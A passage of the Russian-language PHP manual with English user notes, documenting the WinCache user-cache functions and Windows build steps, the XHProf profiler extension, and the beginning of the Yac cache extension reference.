Если параметр key является строкой, функция возвращает значение переменной, хранящейся с этим ключом. Для параметра success будет установлено значение true в случае успешного выполнения или false в случае возникновения ошибки.

Если параметр key - это массив, параметр success всегда будет иметь значение true. Возвращённый массив (пары имя => значение) будет содержать только те пары имя => значение, для которых операция получения в пользовательском кеше была успешной. Если ни один из ключей в массиве ключей не находит совпадения в пользовательском кеше, будет возвращён пустой массив.

Примеры

Пример #1 wincache_ucache_get() с key в виде строки

<?php
wincache_ucache_add('color', 'blue');
var_dump(wincache_ucache_get('color', $success));
var_dump($success);
?>

Результат выполнения данного примера:

string(4) "blue"
bool(true)

Пример #2 wincache_ucache_get() с key в виде массива

<?php
$array1 = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'Blue', 'yellow', 'cyan');
var_dump(wincache_ucache_get($array2, $success));
var_dump($success);
?>

Результат выполнения данного примера:

array(4) { ["green"]=> string(1) "5"
           ["Blue"]=> string(1) "6"
           ["yellow"]=> string(1) "7"
           ["cyan"]=> string(1) "8" }
bool(true)

Смотрите также

  • wincache_ucache_add() - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • __wakeup()

User Contributed Notes

don dot raman at microsoft dot com 09-Mar-2010 11:12
As per documentation PHP 5.2 doesn't support serialization of PHP internal classes. This means code below will not work:

<?php
$d = new DateTime();
$d->format(DateTime::W3C);
wincache_ucache_set( 'q1', $d );
var_dump( wincache_ucache_get( 'q1' )->format(DATE_ATOM));
?>

The output of above code will be (as of PHP5.2.13):
[11-Feb-2010 08:35:29] PHP Warning:  DateTime::format() [<a href='datetime.format'>datetime.format</a>]: The DateTime object has not been correctly initialized by its constructor in C:\inetpub\wwwroot\phptest\tests\ucache\wincache8.php on line 5
And last var_dump will return bool(false).


Увеличивает значение, связанное с ключом

  • « wincache_ucache_get
  • wincache_ucache_info »
  • PHP Manual
  • Функции WinCache
  • Увеличивает значение, связанное с ключом

wincache_ucache_inc

(PECL wincache >= 1.1.0)

wincache_ucache_inc — Увеличивает значение, связанное с ключом

Описание

wincache_ucache_inc(string $key, int $inc_by = 1, bool &$success = ?): mixed

Увеличивает значение, связанное с key на 1 или как указано в inc_by.

Список параметров

key

key, который использовался для сохранения переменной в кеш. key чувствителен к регистру.

inc_by

Значение, на которое должна быть увеличена переменная, связанная с key. Если аргумент является числом с плавающей точкой, он будет усечён до ближайшего целого числа. Переменная, связанная с key, должна иметь тип long, иначе функция завершится ошибкой и вернёт false.

success

Будет установлено значение true в случае успешного выполнения и false в случае возникновения ошибки.

Возвращаемые значения

Возвращает увеличенное значение в случае успешного выполнения и false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_ucache_inc()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_inc('counter', 2921, $success));
var_dump($success);
?>

Результат выполнения данного примера:

int(2922)
bool(true)

Смотрите также

  • wincache_ucache_dec() - Уменьшает значение, связанное с ключом
  • wincache_ucache_cas() - Сравнивает переменную со старым значением и присваивает ей новое значение

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о данных, хранящихся в пользовательском кеше

  • « wincache_ucache_inc
  • wincache_ucache_meminfo »
  • PHP Manual
  • Функции WinCache
  • Получает информацию о данных, хранящихся в пользовательском кеше

wincache_ucache_info

(PECL wincache >= 1.1.0)

wincache_ucache_info — Получает информацию о данных, хранящихся в пользовательском кеше

Описание

wincache_ucache_info(bool $summaryonly = false, string $key = NULL): array|false

Получает информацию о данных, хранящихся в пользовательском кеше.

Список параметров

summaryonly

Определяет, будет ли возвращаемый массив содержать информацию об отдельных записях кеша вместе со сводкой пользовательского кеша.

key

Ключ записи в пользовательском кеше. Если указано, то возвращаемый массив будет содержать информацию только об этой записи кеша. Если не указано и для summaryonly установлено значение false, тогда возвращаемый массив будет содержать информацию обо всех записях кеша.

Возвращаемые значения

Массив метаданных об использовании пользовательского кеша или false в случае возникновения ошибки

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • total_cache_uptime - общее время в секундах, в течение которого пользовательский кеш был активен.
  • total_item_count - общее количество элементов, которые в данный момент находятся в пользовательском кеше.
  • is_local_cache - true - метаданные кеша предназначены для экземпляра локального кеша, false, если метаданные предназначены для глобального кеша.
  • total_hit_count - количество раз, когда данные были получены из кеша.
  • total_miss_count - количество раз, когда данные не были найдены в кеше.

  • ucache_entries - массив, содержащий информацию обо всех кешированных элементах:

    • key_name - имя ключа, который используется для хранения данных.
    • value_type - тип значения, хранимого ключом.
    • use_time - время в секундах с момента обращения к файлу в кеше опкодов.
    • last_check - время в секундах с момента проверки файла на наличие модификаций.
    • is_session - указывает, являются ли данные переменной сессии.
    • ttl_seconds - время, оставшееся для данных, чтобы находиться в кеше, 0 означает бесконечность.
    • age_seconds - время, прошедшее с момента добавления данных в кеш.
    • hitcount - количество раз, когда данные были получены из кеша.

Примеры

Пример #1 Пример использования wincache_ucache_info()

<?php
wincache_ucache_get('green');
wincache_ucache_set('green', 2922);
wincache_ucache_get('green');
wincache_ucache_get('green');
wincache_ucache_get('green');
print_r(wincache_ucache_info());
?>

Результат выполнения данного примера:

Array
( ["total_cache_uptime"] => int(0)
  ["is_local_cache"] => bool(false)
  ["total_item_count"] => int(1)
  ["total_hit_count"] => int(3)
  ["total_miss_count"] => int(1)
  ["ucache_entries"] => Array(1)
    ( [1] => Array(6)
      (
        ["key_name"] => string(5) "green"
        ["value_type"] => string(4) "long"
        ["is_session"] => int(0)
        ["ttl_seconds"] => int(0)
        ["age_seconds"] => int(0)
        ["hitcount"] => int(3)
       )
    )
)

Смотрите также

  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 11:53
One thing to note is that 'is_local_cache' field returned as one of the metadata in the array for User Cache will always return boolean false as User Cache is always global and never local.


Получает информацию об использовании памяти пользовательского кеша

  • « wincache_ucache_info
  • wincache_ucache_set »
  • PHP Manual
  • Функции WinCache
  • Получает информацию об использовании памяти пользовательского кеша

wincache_ucache_meminfo

(PECL wincache >= 1.1.0)

wincache_ucache_meminfo — Получает информацию об использовании памяти пользовательского кеша

Описание

wincache_ucache_meminfo(): array|false

Получает информацию об использовании памяти пользовательского кеша.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив метаданных об использовании памяти пользовательского кеша или false в случае возникновения ошибки

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • memory_total - объем памяти в байтах, выделенный для пользовательского кеша
  • memory_free - объем свободной памяти в байтах, доступной для пользовательского кеша
  • num_used_blks - количество блоков памяти, используемых пользовательским кешем
  • num_free_blks - количество свободных блоков памяти, доступных для пользовательского кеша
  • memory_overhead - объем памяти в байтах, используемый для внутренних структур пользовательского кеша

Примеры

Пример #1 Пример использования wincache_ucache_meminfo()

<pre>
<?php
print_r(wincache_ucache_meminfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше

  • « wincache_ucache_meminfo
  • wincache_unlock »
  • PHP Manual
  • Функции WinCache
  • Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше

wincache_ucache_set

(PECL wincache >= 1.1.0)

wincache_ucache_set — Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше

Описание

wincache_ucache_set(mixed $key, mixed $value, int $ttl = 0): bool
wincache_ucache_set(array $values, mixed $unused = NULL, int $ttl = 0): bool

Добавляет переменную в пользовательский кеш. Заменяет переменную, если она уже существует в кеше. Добавленная или обновлённая переменная остаётся в пользовательском кеше, пока не истечёт срок её действия или она не будет удалена с помощью функций wincache_ucache_delete() или wincache_ucache_clear().

Список параметров

key

Сохраняет переменную с использованием этого имени key. Если переменная с таким же key уже существует, функция перезапишет предыдущее значение новым. key чувствителен к регистру. key также может принимать массив пар имя => значение, где имена будут использоваться в качестве ключей. Это можно использовать для добавления нескольких значений в кеш за одну операцию, что позволяет избежать состояния гонки.

value

Значение переменной, которую необходимо сохранить. Value поддерживает все типы данных, кроме ресурсов, таких как дескрипторы файлов. Параметр игнорируется, если первым аргументом является массив. Общее руководство - передать null в качестве value при использовании массива key. Если value является объектом или массивом, содержащим объекты, то объекты будут сериализованы. Подробнее о сериализации объектов смотрите в описании __sleep().

values

Ассоциативный массив ключей и значений.

ttl

Время, в течение которого переменная находится в кеше, в секундах. После того, как значение, указанное в ttl будет передано, сохранённая переменная будет удалена из кеша. Параметр принимает значение по умолчанию 0, что означает, что переменная останется в кеше, пока она не будет явно удалена с помощью функций wincache_ucache_delete() или wincache_ucache_clear().

Возвращаемые значения

Если key является строкой, функция возвращает true в случае успешного выполнения и false в случае возникновения ошибки.

Если key является массивом, функция возвращает:

  • Если все пары имя => значение в массиве могут быть установлены, функция возвращает пустой массив;
  • Если все пары имя => значение в массиве не могут быть установлены, функция возвращает false;
  • Если некоторые из них могут быть установлены, а другие - нет, функция возвращает массив с парами name => value, которые не удалось добавить в пользовательский кеш.

Примеры

Пример #1 Пример использования wincache_ucache_set() с key в виде строки

<?php
$bar = 'BAR';
var_dump(wincache_ucache_set('foo', $bar));
var_dump(wincache_ucache_get('foo'));
$bar1 = 'BAR1';
var_dump(wincache_ucache_set('foo', $bar1));
var_dump(wincache_ucache_get('foo'));
?>

Результат выполнения данного примера:

bool(true)
string(3) "BAR"
bool(true)
string(3) "BAR1"

Пример #2 Пример использования wincache_ucache_set() с key в виде массива

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

Результат выполнения данного примера:

array(0) {}
array(0) {}
string(1) "6"

Смотрите также

  • wincache_ucache_add() - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • __sleep()

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 12:08
As of writing this note (PHP 5.3.1) serialization of closure is not allowed.

This means a code like the one below:

<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
wincache_ucache_set('foo3', $bar3);
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

Will throw exception:
[11-Feb-2010 09:25:33] PHP Fatal error:  Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php:6
Stack trace:
#0 C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php(6): wincache_ucache_set('foo3', Object(Closure))
#1 {main}
  thrown in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php on line 6

However one catch this exception like:
<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
try
{
    wincache_ucache_set('foo3', $bar3);
}
catch (Exception $e)
{
    var_dump($e->getMessage());
}
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

This will generate output as shown beloe:
string(41) "Serialization of 'Closure' is not allowed" NULL


Снимает эксклюзивную блокировку данного ключа

  • « wincache_ucache_set
  • Сборка для Windows »
  • PHP Manual
  • Функции WinCache
  • Снимает эксклюзивную блокировку данного ключа

wincache_unlock

(PECL wincache >= 1.1.0)

wincache_unlock — Снимает эксклюзивную блокировку данного ключа

Описание

wincache_unlock(string $key): bool

Снимает исключительную блокировку, которая была получена для данного ключа с помощью wincache_lock(). Если какой-либо другой процесс был заблокирован в ожидании блокировки этого ключа, этот процесс сможет получить блокировку.

Внимание

Использование wincache_lock() и wincache_unlock() может вызвать взаимную блокировку при выполнении скриптов PHP в многопроцессорной среде, такой как FastCGI. Не используйте эти функции, если вы не уверены, что вам это нужно. Для большинства операций с пользовательским кешем эти функции использовать не обязательно.

Список параметров

key

Имя ключа в кеше для снятия блокировки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_unlock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // получить эксклюзивную блокировку
ftruncate($fp, 0); // обрезать файл
fwrite($fp, "Напишите что-нибудь здесь\n");
wincache_unlock("lock_txt_lock"); // снять блокировку
} else {
echo "Не удалось получить блокировку!";
}
fclose($fp);
?>

Смотрите также

  • wincache_lock() - Получает эксклюзивную блокировку для данного ключа
  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии

User Contributed Notes

There are no user contributed notes for this page.


Сборка для Windows

Содержание

  • Пререквизиты
  • Компиляция и сборка
  • Проверка сборки

User Contributed Notes

There are no user contributed notes for this page.


Пререквизиты

Для сборки модуля WinCache требуется:

  1. Исходный код PHP
  2. Окружение сборки PHP
  3. Исходный код WinCache

Первые два пункта полностью покрываются статьёй руководства » сборка PHP под Windows.

Получение исходного кода WinCache описано в разделе Скачивание PECL-модулей.

User Contributed Notes

There are no user contributed notes for this page.


Компиляция и сборка

Следующие шаги описывают, как компилировать и собирать WinCache под Windows OS:

  1. Откройте консоль командной строки

  2. Перейдите в папку с исходными кодами PHP

  3. Выполните команду:

    cscript.exe win32\build\buildconf.js

  4. Выполните команду:

    configure.bat --help
    Вывод будет содержать новый флаг --enable-wincache.

  5. Выполните команду:

    configure.js [все опции для сборки PHP] --enable-wincache
    --enable-wincache это единственная дополнительная опция, которая требуется для правильной сборки модуля WinCache. Эта опция соберёт WinCache и будет статически связывать его с PHP dll. Чтобы создать модуль WinCache в качестве автономной библиотеки DLL, используйте параметр --enable-wincache=shared.

  6. Выполните команду:

    nmake

User Contributed Notes

There are no user contributed notes for this page.


Проверка сборки

Следующие шаги описывают процесс проверки того, что модуль был собран корректно:

  1. Перейдите в папку, где находится скомпилированный PHP

  2. Выполните команду:

    php.exe -n -d extension=php_wincache.dll -re wincache
    Если модуль собран правильно, в выводе этой команды будут показаны INI-директивы и функции поддерживаемые WinCache.

User Contributed Notes

There are no user contributed notes for this page.


Hierarchical Profiler

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Xhprof
    • xhprof_disable — Останавливает профилирование xhprof
    • xhprof_enable — Запуск профилирования xhprof
    • xhprof_sample_disable — Остановить сэмплирующие профилирование xhprof
    • xhprof_sample_enable — Запуск сэмплирующего режима профилирования XHProf

User Contributed Notes

Thanh Tung 24-Jul-2020 11:44
This extension is still maintained. It support PHP up to version 7.4. You can find it in the PECL repository: https://pecl.php.net/package/xhprof
patrickallaert at php dot net 02-Apr-2020 06:21
xhprof is still maintained at: https://github.com/patrickallaert/xhprof
troffed 06-Dec-2018 03:52
A profiler based on XHProf but for PHP7+ can be found at https://github.com/tideways/php-xhprof-extension
kisil-mike at ya dot ru 09-Jan-2018 07:35
not developing anymore, just for php up to 5.5. 5.6 or 7+ do not support :(
roland at mxchange dot org 23-Feb-2017 09:27
XHProf is also available on Github (the C/C++ code):
https://github.com/phacility/xhprof


Введение

XHProf — это легковесный профайлер основанный на иерархии и инструментировании. В процессе сбора данных он отслеживает количество вызовов и инклюзивные метрики рёбер динамического графа вызовов программы. Эксклюзивные метрики, такие как затраченное время, время CPU и потребление памяти, рассчитываются в фазе репортинга/постпроцессинга. Профилирование функции может быть сломано вызывающими или вызываемыми функциями. XHProf отслеживает рекурсивные функции путём анализа циклов в графе вызовов в момент сбора данных и избегает зацикленности путём назначения уникальных имён на основе глубины для рекурсивных вызовов.

XHProf содержит простой HTML интерфейс (написанный на PHP). UI на основе браузера сильно облегчает просмотр результатов и пересылку их всем желающим. Также поддерживается графическое отображение графа вызовов.

Отчёты XHProf часто полезны для анализа структуры запускаемого кода. Иерархическая структура отчётов позволяет определить, к примеру, цепочку вызовов, приведшую к вызову конкретной функции.

XHProf поддерживает сравнение двух разных запусков ("diff") или агрегацию данных нескольких запусков. Сравнительные и агрегированные отчёты, также как одиночные, предоставляют как "плоские", так и "иерархические" взгляды на результаты профилирования.

Дополнительная документация доступна на сайте » facebook xhprof.

User Contributed Notes

There are no user contributed notes for this page.


Требования

В целом не требуется, так как xhprof включает интерфейс, написанный на PHP. Он используется для сохранения и отображения результатов профилирования в удобном виде в браузере. Таким образом, включение встроенного в PHP веб-сервера позволит использовать xprof максимально продуктивно.

Также существует форк GUI интерфейса - » http://github.com/preinheimer/xhprof

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/xhprof

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Xhprof
Имя | По умолчанию | Место изменения | Список изменений
xhprof.output_dir | "" | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

xhprof.output_dir string

Директория используемая реализацией интерфейса iXHProfRuns по умолчанию (класс XHProfRuns_Default) для сохранения результатов профилирования.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

XHPROF_FLAGS_NO_BUILTINS (int)
Используется для исключения профилирования встроенных функций.
XHPROF_FLAGS_CPU (int)
Используется для добавления в отчёт информации по профилированию CPU.
XHPROF_FLAGS_MEMORY (int)
Используется для добавления в отчёт информации по профилированию памяти.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Примеры использования Xhprof, опционально с GUI

В этом примере профайлер запускается, останавливается и использует встроенный GUI интерфейс для сохранения и разбора результатов. Другими словами, исполнение кода модуля завершается на функции xhprof_disable().

<?php
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);

for ($i = 0; $i <= 1000; $i++) {
$a = $i * $i;
}

$xhprof_data = xhprof_disable();

$XHPROF_ROOT = "/tools/xhprof/";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_lib.php";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing");

echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n";

?>

Результатом выполнения данного примера будет что-то подобное:

http://localhost/xhprof/xhprof_html/index.php?run=t11_4bdf44d21121f&source=xhprof_testing

User Contributed Notes

There are no user contributed notes for this page.


Функции Xhprof

Содержание

  • xhprof_disable — Останавливает профилирование xhprof
  • xhprof_enable — Запуск профилирования xhprof
  • xhprof_sample_disable — Остановить сэмплирующие профилирование xhprof
  • xhprof_sample_enable — Запуск сэмплирующего режима профилирования XHProf

User Contributed Notes

There are no user contributed notes for this page.


Останавливает профилирование xhprof

  • « Функции Xhprof
  • xhprof_enable »
  • PHP Manual
  • Функции Xhprof
  • Останавливает профилирование xhprof

xhprof_disable

(PECL xhprof >= 0.9.0)

xhprof_disable — Останавливает профилирование xhprof

Описание

xhprof_disable(): array

Останавливает профилирование и возвращает собранные данные.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив с результатами профилирования.

Примеры

Пример #1 Пример использования xhprof_disable()

<?php
xhprof_enable();

$foo = strlen("foo bar");

$xhprof_data = xhprof_disable();

print_r($xhprof_data);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [main()==>strlen] => Array
        (
            [ct] => 1
            [wt] => 279
        )

    [main()==>xhprof_disable] => Array
        (
            [ct] => 1
            [wt] => 9
        )

    [main()] => Array
        (
            [ct] => 1
            [wt] => 610
        )

)

User Contributed Notes

FatBat 17-Oct-2014 04:18
Raw output snippet with, XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY.

[main()] => Array
(
    [ct] => 1                // number of calls.
    [wt] => 419              // wall/wait time (ms).
    [cpu] => 0               // cpu time.
    [mu] => 8264             // memory usage (bytes).
    [pmu] => 0               // peak memory usage.
)


Запуск профилирования xhprof

  • « xhprof_disable
  • xhprof_sample_disable »
  • PHP Manual
  • Функции Xhprof
  • Запуск профилирования xhprof

xhprof_enable

(PECL xhprof >= 0.9.0)

xhprof_enable — Запуск профилирования xhprof

Описание

xhprof_enable(int $flags = 0, array $options = ?): void

Запускает профилирование.

Список параметров

flags

Необязательные флаги для получения дополнительной информации при профилировании. Подробности можно найти в разделе Константы XHprof. Например, XHPROF_FLAGS_MEMORY включает профилирование памяти.

options

Массив (array) необязательных опций, а конкретно опция 'ignored_functions' со списком функций, которые не нужно профилировать.

Возвращаемые значения

null

Список изменений

Версия | Описание
PECL xhprof 0.9.2 | Добавлен необязательный параметр options.

Примеры

Пример #1 Пример использования xhprof_enable()

<?php
// 1. время исполнения + память + CPU; также игнорируем функции стандартной библиотеки
xhprof_enable(XHPROF_FLAGS_NO_BUILTINS | XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);

// 2. время исполнения; игнорируем при профилировании call_user_func*
xhprof_enable(
0,
array('ignored_functions' => array('call_user_func',
'call_user_func_array')));

// 3. время исполнения + память; игнорируем при профилировании call_user_func*
xhprof_enable(
XHPROF_FLAGS_MEMORY,
array('ignored_functions' => array('call_user_func',
'call_user_func_array')));
?>

Смотрите также

  • xhprof_disable() - Останавливает профилирование xhprof
  • xhprof_sample_enable() - Запуск сэмплирующего режима профилирования XHProf
  • memory_get_usage() - Возвращает количество памяти, выделенное для PHP
  • getrusage() - Получает информацию об использовании текущего ресурса

User Contributed Notes

Vladimir Kovpak 08-Nov-2015 10:43
<?php

// You can optionally profile CPU time and/or memory usage:
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);


Остановить сэмплирующие профилирование xhprof

  • « xhprof_enable
  • xhprof_sample_enable »
  • PHP Manual
  • Функции Xhprof
  • Остановить сэмплирующие профилирование xhprof

xhprof_sample_disable

(PECL xhprof >= 0.9.0)

xhprof_sample_disable — Остановить сэмплирующие профилирование xhprof

Описание

xhprof_sample_disable(): array

Остановить сэмплирующие профилирование xhprof.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив данных, собранный профайлером.

Примеры

Пример #1 Пример использования xhprof_sample_disable()

<?php
xhprof_sample_enable();

for ($i = 0; $i <= 10000; $i++) {
$a = strlen($i);
$b = $i * $a;
$c = rand();
}

$xhprof_data = xhprof_sample_disable();

print_r($xhprof_data);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [1272935300.800000] => main()
    [1272935300.900000] => main()
)

User Contributed Notes

There are no user contributed notes for this page.


Запуск сэмплирующего режима профилирования XHProf

  • « xhprof_sample_disable
  • Yac »
  • PHP Manual
  • Функции Xhprof
  • Запуск сэмплирующего режима профилирования XHProf

xhprof_sample_enable

(PECL xhprof >= 0.9.0)

xhprof_sample_enable — Запуск сэмплирующего режима профилирования XHProf

Описание

xhprof_sample_enable(): void

Запуск сэмплирующего режима профилирования, который является облегчённой версией xhprof_enable(). Интервал семплирования составляет 0.1 секунды и при каждой итерации записывается стек вызовов. Данный режим предназначен для снижения накладных расходов при мониторинге производительности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

null

Смотрите также

  • xhprof_sample_disable() - Остановить сэмплирующие профилирование xhprof
  • xhprof_enable() - Запуск профилирования xhprof
  • memory_get_usage() - Возвращает количество памяти, выделенное для PHP
  • getrusage() - Получает информацию об использовании текущего ресурса

User Contributed Notes

There are no user contributed notes for this page.


Yac

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Yac — Класс Yac
    • Yac::add — Сохраняет в кеш
    • Yac::__construct — Конструктор класса
    • Yac::delete — Удаляет элементы из кеша
    • Yac::dump — Дамп кеша
    • Yac::flush — Очищает кеш
    • Yac::get — Извлекает значения из кеша
    • Yac::__get — Геттер
    • Yac::info — Состояние кеша
    • Yac::set — Сохраняет в кеш
    • Yac::__set — Сеттер

User Contributed Notes

Anonymous 07-May-2022 08:23
Notice: yac is not enabled when use cli mode


Введение

Yac (Yet Another cache) - это свободный от блокировок кеш пользовательских данных с общей памятью, который можно использовать для замены APC и локального кеширования в памяти.

User Contributed Notes

There are no user contributed notes for this page.


  • « Установка и настройка
  • Установка »
  • PHP Manual
  • Установка и настройка
  • Требования

Требования

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/yac.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Yac
Имя | По умолчанию | Место изменения | Список изменений
yac.compress_threshold | -1 | PHP_INI_SYSTEM |
yac.debug | 0 | PHP_INI_ALL |
yac.enable | 1 | PHP_INI_SYSTEM |
yac.enable_cli | 0 | PHP_INI_SYSTEM |
yac.keys_memory_size | 4M | PHP_INI_SYSTEM |
yac.serializer | php | PHP_INI_SYSTEM |
yac.values_memory_size | 64M | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

yac.compress_threshold int

yac.debug int

yac.enable int

yac.enable_cli int

yac.keys_memory_size string

yac.serializer string

yac.values_memory_size string

User Contributed Notes

There are no user contributed notes for this page.


  • « Настройка во время выполнения
  • Предопределённые константы »
  • PHP Manual
  • Установка и настройка
  • Типы ресурсов

Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

YAC_VERSION (string)
YAC_MAX_KEY_LEN (int)
Максимальная длина ключа может быть 48 байтов.
YAC_MAX_VALUE_RAW_LEN (int)
YAC_MAX_RAW_COMPRESSED_LEN (int)
YAC_SERIALIZER_PHP (int)
Использовать php serialize в качестве сериализатора
YAC_SERIALIZER_JSON (int)
Использовать json в качестве сериализатора (требуется --enable-json)
YAC_SERIALIZER_IGBINARY (int)
Использовать igbinary в качестве сериализатора (требуется --enable-igbinary)
YAC_SERIALIZER_MSGPACK (int)
Использовать msgpack в качестве сериализатора (требуется --enable-msgpack)
YAC_SERIALIZER (string)
Какой сериализатор используется в yac

User Contributed Notes

There are no user contributed notes for this page.


Класс Yac

(PECL yac >= 1.0.0)

Введение

Обзор классов

class Yac {
/* Свойства */
protected $_prefix;
/* Методы */
public __construct(string $prefix = "")
public add(string $keys, mixed $value, int $ttl = 0): bool
public add(array $key_vals): bool
public delete(string|array $keys, int $ttl = ?): bool
public dump(int $$num): mixed
public flush(): bool
public get(string|array $key, int &$cas = null): mixed
public __get(string $key): mixed
public info(): array
